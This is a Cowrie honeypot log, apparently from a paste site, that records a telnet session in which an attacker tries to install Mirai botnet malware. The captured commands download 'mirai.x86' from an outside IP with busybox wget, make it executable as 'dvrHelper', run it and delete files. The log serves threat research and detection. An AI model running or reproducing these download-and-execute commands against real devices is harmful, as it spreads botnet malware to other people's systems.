- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox wget
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: wget
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox tftp
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: tftp
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox ECCHI
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] CMD: /bin/busybox wget http://109.201.134.120:80/bins/mirai.x86 -O - > dvrHelper; /bin/busybox chmod 777 dvrHelper; /bin/busybox ECCHI
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox wget http://109.201.134.120:80/bins/mirai.x86 -O - > /sys/dvrHelper
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: wget http://109.201.134.120:80/bins/mirai.x86 -O -
- 2017-01-18T20:53:14+0200 [cowrie.commands.wget.HTTPProgressDownloader#info] Starting factory <HTTPProgressDownloader: http://109.201.134.120:80/bins/mirai.x86>
- 2017-01-18T20:53:14+0200 [HTTPPageDownloader,client] Command found: /bin/busybox chmod 777 /sys/dvrHelper
- 2017-01-18T20:53:14+0200 [HTTPPageDownloader,client] Command found: chmod 777 /sys/dvrHelper
- 2017-01-18T20:53:14+0200 [HTTPPageDownloader,client] Command found: /bin/busybox ECCHI
- 2017-01-18T20:53:14+0200 [cowrie.commands.wget.HTTPProgressDownloader#info] Stopping factory <HTTPProgressDownloader: http://109.201.134.120:80/bins/mirai.x86>
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] CMD: ./dvrHelper telnet.x86; /bin/busybox IHCCE
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command not found: ./dvrHelper telnet.x86
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox IHCCE
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] CMD: rm -rf upnp; > dvrHelper; /bin/busybox ECCHI
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm -rf upnp
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: > /sys/dvrHelper
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox ECCHI
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Closing TTY Log: log/tty/20170118-205313-None-52i.log after 1 seconds
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] honeypot terminal protocol connection lost [Failure instance: Traceback (failure with no frames): <class 'twisted.internet.error.ConnectionDone'>: Connection was closed cleanly.
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Connection lost after 5 seconds
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement